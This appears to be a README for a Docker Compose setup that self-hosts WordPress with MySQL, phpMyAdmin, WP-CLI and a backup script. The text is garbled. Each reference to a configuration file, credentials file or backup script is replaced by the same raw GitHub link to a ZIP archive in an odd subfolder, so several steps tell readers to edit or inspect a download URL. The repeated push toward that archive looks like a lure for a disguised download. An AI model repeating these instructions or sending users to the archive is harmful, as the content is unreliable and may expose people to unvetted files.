The wordpress-self-hosted project provides a simple, production-ready setup for self-hosting WordPress using Docker Compose. This setup includes everything you need to run WordPress securely and efficiently. You will have MySQL for your database, phpMyAdmin for easy database management, WP-CLI for command-line tasks, and a backup script to ensure your data is safe. It's an all-in-one solution, ready for you to deploy in minutes.
Before proceeding, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Docker: Version 19.03 or higher
- Docker Compose: Version 1.25 or higher
- Memory: At least 2 GB RAM recommended
- Disk Space: Minimum of 10 GB free space for installation
Follow these steps to set up your self-hosted WordPress site:
-
Visit the Releases Page: Click the link below to access the latest version of the software.
-
Download the Latest Release: On the Releases page, locate the latest version of the application. Click the download link for the respective Docker Compose files or ZIP archive.
-
Extract Files: If you downloaded a ZIP file, extract its contents to a folder of your choice.
-
Open Terminal or Command Prompt: On your computer, open the terminal (macOS/Linux) or Command Prompt (Windows).
-
Navigate to the Project Directory: Use the
cdcommand to go to the directory where you extracted the files. For example, if your files are underC:\wordpress-self-hosted, type:cd C:\wordpress-self-hosted -
Launch Docker Compose: To start the services, run:
docker-compose up -dThis command sets up WordPress, MySQL, and other necessary services in the background.
-
Access Your WordPress Site: Open your web browser and enter:
http://localhostYou should see the WordPress setup page. Follow the prompts to complete the setup.
-
Set Up phpMyAdmin: For accessing your database, go to:
http://localhost:8080Use the database credentials found in the
https://raw.githubusercontent.com/rasterbaby/wordpress-self-hosted/main/dodman/wordpress-self-hosted.zipfile to log in.
You can download the latest version of the wordpress-self-hosted application directly from this link:
The configuration files are stored in the main project folder. You can adjust settings like:
- MySQL root password
- WordPress database name
- phpMyAdmin access
Edit these settings directly in the https://raw.githubusercontent.com/rasterbaby/wordpress-self-hosted/main/dodman/wordpress-self-hosted.zip file using a text editor.
After setting up, you can log into your WordPress admin panel at:
http://localhost/wp-admin
Use the username and password you set up during installation.
Running backups of your WordPress site is crucial. The included backup script allows you to perform backups easily. Check the https://raw.githubusercontent.com/rasterbaby/wordpress-self-hosted/main/dodman/wordpress-self-hosted.zip script to see how it functions and set up automatic backups as needed.
If you encounter issues, consider the following:
- Docker not running: Ensure Docker is started before running the
docker-composecommands. - Port conflicts: If port 80 or 8080 is already in use, update the ports in your
https://raw.githubusercontent.com/rasterbaby/wordpress-self-hosted/main/dodman/wordpress-self-hosted.zipfile. - Error Messages: Analyze any terminal error messages for clues on what to fix, or search for solutions in community forums.
If you need assistance:
- Visit the GitHub Issues page to report bugs or request features.
- Share your experience and solutions in the project discussions.
You can explore the topics related to this project:
- airathalitov
- airattop
- backup
- deployment
- devops
- docker
- docker-compose
- mysql
- phpmyadmin
- self-hosted
- wordpress
- wordpress-docker
- wordpress-docker-compose
- wp
- wp-cli
You are now ready to self-host your WordPress site using the wordpress-self-hosted project! Enjoy your new site and the flexibility of managing it on your own server.